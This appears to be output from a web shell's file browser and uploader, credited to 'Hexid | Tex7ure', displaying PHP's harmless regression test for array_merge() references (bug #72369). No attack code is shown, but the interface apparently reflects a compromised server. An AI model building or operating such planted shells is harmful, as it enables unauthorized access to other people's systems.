/
proc
/
self
/
root
/
usr
/
local
/
lsws
/
phpbuild
/
php-8.0.7
/
ext
/
standard
/
tests
/
array
/
File Upload :
llllll
Current File: //proc/self/root/usr/local/lsws/phpbuild/php-8.0.7/ext/standard/tests/array/bug72369.phpt
--TEST-- Bug #72369 (array_merge() produces references in PHP7) --FILE-- <?php $x = 'xxx'; $d = ['test' => &$x]; unset($x); $a = ['test' => 'yyy']; $a = array_merge($a, $d); debug_zval_dump($a); ?> --EXPECTF-- array(1) refcount(%d){ ["test"]=> string(3) "xxx" refcount(%d) }
Copyright ©2k19 -
Hexid
|
Tex7ure